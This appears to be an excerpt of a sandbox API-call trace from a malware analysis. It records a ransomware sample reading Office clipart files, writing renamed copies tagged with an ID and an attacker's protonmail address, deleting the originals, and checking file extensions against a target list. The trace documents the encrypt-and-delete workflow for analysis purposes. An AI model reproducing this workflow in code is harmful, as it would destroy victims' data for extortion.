	[0190.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0190.551] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=5504) returned 1
	[0190.551] CloseHandle (hObject=0x36c) returned 1
	[0190.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 0x220
	[0190.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0190.552] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.552] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0190.553] GetLastError () returned 0x0
	[0190.553] ReadFile (in: hFile=0x36c, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1580, lpOverlapped=0x0) returned 1
	[0190.687] WriteFile (in: hFile=0x5ec, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1590, lpOverlapped=0x0) returned 1
	[0190.688] ReadFile (in: hFile=0x36c, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.688] WriteFile (in: hFile=0x5ec, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.688] SetEndOfFile (hFile=0x5ec) returned 1
	[0190.688] CloseHandle (hObject=0x5ec) returned 1
	[0190.689] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.689] SetEndOfFile (hFile=0x36c) returned 1
	[0190.691] CloseHandle (hObject=0x36c) returned 1
	[0190.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 1
	[0190.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0190.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0190.901] lstrlenW (lpString=".doc") returned 4
	[0190.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.901] lstrlenW (lpString=".docx") returned 5
	[0190.901] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0190.901] lstrlenW (lpString=".pdf") returned 4
	[0190.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.901] lstrlenW (lpString=".xls") returned 4
	[0190.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.902] lstrlenW (lpString=".xlsx") returned 5
	[0190.902] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0190.902] lstrlenW (lpString=".ppt") returned 4
	[0190.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0190.902] lstrlenW (lpString=".zip") returned 4
	[0190.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.902] lstrlenW (lpString=".rar") returned 4
	[0190.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.902] lstrlenW (lpString=".bz2") returned 4
	[0190.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.902] lstrlenW (lpString=".7z") returned 3
	[0190.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0190.902] lstrlenW (lpString=".dbf") returned 4
	[0190.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0190.902] lstrlenW (lpString=".1cd") returned 4
	[0190.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0190.902] lstrlenW (lpString=".jpg") returned 4
	[0190.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0190.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0190.902] lstrlenW (lpString=".doc") returned 4
	[0190.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.902] lstrlenW (lpString=".docx") returned 5
	[0190.902] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0190.902] lstrlenW (lpString=".pdf") returned 4
	[0190.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.903] lstrlenW (lpString=".xls") returned 4
	[0190.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.903] lstrlenW (lpString=".xlsx") returned 5
	[0190.903] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0190.903] lstrlenW (lpString=".ppt") returned 4
	[0190.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0190.903] lstrlenW (lpString=".zip") returned 4
	[0190.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.903] lstrlenW (lpString=".rar") returned 4
	[0190.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.903] lstrlenW (lpString=".bz2") returned 4
	[0190.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.903] lstrlenW (lpString=".7z") returned 3
	[0190.903] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0190.903] lstrlenW (lpString=".dbf") returned 4
	[0190.903] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0190.903] lstrlenW (lpString=".1cd") returned 4
	[0190.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0190.903] lstrlenW (lpString=".jpg") returned 4
	[0190.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.904] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.904] lstrlenW (lpString="J0105360.WMF") returned 12
	[0190.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0190.904] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=8860) returned 1
	[0190.905] CloseHandle (hObject=0x4ac) returned 1
	[0190.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 0x220
	[0190.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0190.905] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.905] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0190.906] GetLastError () returned 0x0
	[0190.906] ReadFile (in: hFile=0x4ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x229c, lpOverlapped=0x0) returned 1
	[0190.908] WriteFile (in: hFile=0x5e8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x22a0, lpOverlapped=0x0) returned 1
	[0190.909] ReadFile (in: hFile=0x4ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.909] WriteFile (in: hFile=0x5e8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.910] SetEndOfFile (hFile=0x5e8) returned 1
	[0190.910] CloseHandle (hObject=0x5e8) returned 1
	[0190.910] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.910] SetEndOfFile (hFile=0x4ac) returned 1
	[0190.913] CloseHandle (hObject=0x4ac) returned 1
	[0190.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 1
	[0190.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0190.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0190.914] lstrlenW (lpString=".doc") returned 4
	[0190.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.914] lstrlenW (lpString=".docx") returned 5
	[0190.914] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0190.914] lstrlenW (lpString=".pdf") returned 4
	[0190.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.915] lstrlenW (lpString=".xls") returned 4
	[0190.915] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.915] lstrlenW (lpString=".xlsx") returned 5
	[0190.915] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0190.915] lstrlenW (lpString=".ppt") returned 4
	[0190.915] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0190.915] lstrlenW (lpString=".zip") returned 4
	[0190.915] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.915] lstrlenW (lpString=".rar") returned 4
	[0190.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.915] lstrlenW (lpString=".bz2") returned 4
	[0190.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.915] lstrlenW (lpString=".7z") returned 3
	[0190.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0190.915] lstrlenW (lpString=".dbf") returned 4
	[0190.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0190.915] lstrlenW (lpString=".1cd") returned 4
	[0190.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0190.915] lstrlenW (lpString=".jpg") returned 4
	[0190.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0190.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0190.916] lstrlenW (lpString=".doc") returned 4
	[0190.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.916] lstrlenW (lpString=".docx") returned 5
	[0190.916] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0190.916] lstrlenW (lpString=".pdf") returned 4
	[0190.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.916] lstrlenW (lpString=".xls") returned 4
	[0190.916] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.916] lstrlenW (lpString=".xlsx") returned 5
	[0190.916] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0190.916] lstrlenW (lpString=".ppt") returned 4
	[0190.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0190.916] lstrlenW (lpString=".zip") returned 4
	[0190.916] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.916] lstrlenW (lpString=".rar") returned 4
	[0190.916] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.916] lstrlenW (lpString=".bz2") returned 4
	[0190.916] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.916] lstrlenW (lpString=".7z") returned 3
	[0190.916] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0190.916] lstrlenW (lpString=".dbf") returned 4
	[0190.916] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0190.916] lstrlenW (lpString=".1cd") returned 4
	[0190.916] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0190.917] lstrlenW (lpString=".jpg") returned 4
	[0190.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.917] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.917] lstrlenW (lpString="J0105368.WMF") returned 12
	[0190.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0190.917] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=12380) returned 1
	[0190.917] CloseHandle (hObject=0x4ac) returned 1
	[0190.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 0x220
	[0190.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0190.918] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.918] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0190.919] GetLastError () returned 0x0
	[0190.919] ReadFile (in: hFile=0x4ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x305c, lpOverlapped=0x0) returned 1
	[0190.921] WriteFile (in: hFile=0x5e8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x3060, lpOverlapped=0x0) returned 1
	[0190.922] ReadFile (in: hFile=0x4ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.922] WriteFile (in: hFile=0x5e8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.923] SetEndOfFile (hFile=0x5e8) returned 1
	[0190.923] CloseHandle (hObject=0x5e8) returned 1
	[0190.923] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.923] SetEndOfFile (hFile=0x4ac) returned 1
	[0190.926] CloseHandle (hObject=0x4ac) returned 1
	[0190.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 1
	[0190.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0190.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0190.927] lstrlenW (lpString=".doc") returned 4
	[0190.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.927] lstrlenW (lpString=".docx") returned 5
	[0190.928] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0190.928] lstrlenW (lpString=".pdf") returned 4
	[0190.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.928] lstrlenW (lpString=".xls") returned 4
	[0190.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.928] lstrlenW (lpString=".xlsx") returned 5
	[0190.928] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0190.928] lstrlenW (lpString=".ppt") returned 4
	[0190.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0190.928] lstrlenW (lpString=".zip") returned 4
	[0190.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.928] lstrlenW (lpString=".rar") returned 4
	[0190.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.928] lstrlenW (lpString=".bz2") returned 4
	[0190.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.928] lstrlenW (lpString=".7z") returned 3
	[0190.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0190.928] lstrlenW (lpString=".dbf") returned 4
	[0190.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0190.928] lstrlenW (lpString=".1cd") returned 4
	[0190.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0190.928] lstrlenW (lpString=".jpg") returned 4
	[0190.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0190.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0190.929] lstrlenW (lpString=".doc") returned 4
	[0190.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.929] lstrlenW (lpString=".docx") returned 5
	[0190.929] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0190.929] lstrlenW (lpString=".pdf") returned 4
	[0190.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.929] lstrlenW (lpString=".xls") returned 4
	[0190.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.929] lstrlenW (lpString=".xlsx") returned 5
	[0190.929] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0190.929] lstrlenW (lpString=".ppt") returned 4
	[0190.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0190.929] lstrlenW (lpString=".zip") returned 4
	[0190.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.929] lstrlenW (lpString=".rar") returned 4
	[0190.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.929] lstrlenW (lpString=".bz2") returned 4
	[0190.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.929] lstrlenW (lpString=".7z") returned 3
	[0190.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0190.929] lstrlenW (lpString=".dbf") returned 4
	[0190.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0190.929] lstrlenW (lpString=".1cd") returned 4
	[0190.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0190.929] lstrlenW (lpString=".jpg") returned 4
	[0190.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0191.111] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0191.111] lstrlenW (lpString="J0105378.WMF") returned 12
